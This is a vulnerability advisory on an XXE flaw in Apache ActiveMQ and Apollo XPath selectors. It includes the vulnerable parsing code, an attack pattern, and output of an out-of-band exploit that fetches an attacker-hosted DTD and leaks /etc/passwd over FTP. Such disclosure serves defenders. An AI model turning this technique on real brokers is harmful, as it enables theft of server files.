Apache ActiveMQ and ActiveMQ Apollo XML External Entity Data Parsing

06/03/2015

Software:	ActiveMQ and ActiveMQ Apollo
Affected Versions:	ActiveMQ 5.0.0 - 5.10.0; ActiveMQ Apollo 1.0 - 1.7
CVE Reference:	CVE-2014-3600 (ActiveMQ); CVE-2014-3579 (ActiveMQ Apollo)
Author:	Georgi Geshev - MWR Labs (http://labs.mwrinfosecurity.com/)
Severity:	Medium
Vendor:	Apache
Vendor Response:	Fix Released

Description:

Apache ActiveMQ is an open source message-oriented middleware messaging broker. ActiveMQ supports various message queueing protocols, such as Message Queue Telemetry Transport (MQTT), Advanced Message Queuing Protocol (AMQP), and Streaming Text Oriented Messaging Protocol (STOMP).

A vulnerability was identified in ActiveMQ in the way it handles content-based subscriptions which allows an adversary to trigger processing of XML external entities (XXE). Apache ActiveMQ Apollo, which is another MQ implementation built for reliability and performance and originally based on ActiveMQ, was also found to be affected by this vulnerability.

Impact:

An attacker who is able to push and pull from a message queue can use this flaw to perform DTD-based DoS attacks, server-side request forgery or read local files, accessible to the user running the MQ broker, from the server.

Cause:

XML parsing, as handled by ActiveMQ, does not restrict processing of XML external entities.

Solution:

If using ActiveMQ, upgrade to version 5.11.0 or later. For ActiveMQ Apollo, upgrade to version 1.7.1 or later.

Technical details:

MQ selectors allow for attaching a filter to a subscription when performing content based message routing. Apache ActiveMQ supports two types of MQ selectors. These are JMS selectors expressed in SQL-92 syntax for messages with message properties and XPath selectors for messages with XML bodies.

It is possible for a consumer dequeuing XML messages to specify an XPath-based selector, thereby causing the broker to evaluate the XPath expression in an attempt to match it against the messages in the queue while also performing XML external entities resolution.

In order to successfully exploit this vulnerability, an attacker has to act on behalf of both a publisher and a consumer. The following is an attack pattern which will result in triggering the XXE resolution:

1. A publisher enqueues an XML message which references external XML entities.
2. A consumer requests dequeuing an XML message from the same queue using an XPath-based selector.
3. The broker evaluates the XPath expression and attempts to match it against the messages in the queue while also resolving any external entity references.

The vulnerable code responsible for handling XPath based selectors is part of the `org.apache.activemq.filter` package which consists of two virtually identical classes, namely `JAXPXPathEvaluator` and `XalanXPathEvaluator`. The following is a snippet of the former where XML parsing occurs with processing of external entities:

```
package org.apache.activemq.filter;
…
public class JAXPXPathEvaluator implements XPathExpression.XPathEvaluator {
    …
    private boolean evaluate(byte[] data) {
        try {
            InputSource inputSource = new InputSource(new
ByteArrayInputStream(data));
            return ((Boolean)expression.evaluate(inputSource,
XPathConstants.BOOLEAN)).booleanValue();
        } catch (XPathExpressionException e) {
            return false;
        }
    }

    private boolean evaluate(String text) {
        try {
            InputSource inputSource = new InputSource(new StringReader(text));
            return ((Boolean)expression.evaluate(inputSource,
XPathConstants.BOOLEAN)).booleanValue();
        } catch (XPathExpressionException e) {
            return false;
        }
    }
    …
```

An adversary would need to set up an HTTP service hosting the external DTD and an FTP or other service to retrieve the file contents using an out-of-band technique. The following is the output from a successful attack using a Python script to simulate the HTTP and FTP services.

1. Attack Execution

```
$ ./trigger.sh

Building solution...

[Producer] Creating connection...

[Producer] Establishing session...

[Producer] Publishing message...

[Consumer] Creating connection...

[Consumer] Establishing session...

[Consumer] Consuming message...

$
```

2. Out-of-Band File Retrieval

```
$ python multipurpose.py
[HTTP] Service listening.
[FTP] Service listening.
[HTTP] Client established a connection...
[HTTP] Dumping request.

GET /external.dtd HTTP/1.1
User-Agent: Java/1.6.0_31
Host: 192.168.141.143:4444
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: keep-alive

[HTTP] Serving our Document Type Definition.
```

```
[HTTP] Closing connection.

[FTP] Client established a connection...
[FTP] Closing connection.
[FTP] Dumping contents.

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
[SNIP]
$
```

Detailed Timeline

Date:	Summary:
13/08/2014	Reported to Apache
13/08/2014	Apache confirms reception
15/08/2014	Apache requests a proof of concept
16/08/2014	MWR provides a proof of concept
18/08/2014	Apache confirms the vulnerability
26/08/2014	Apache suggests fix
05/02/2015	Public fix released
06/03/2015	Advisory published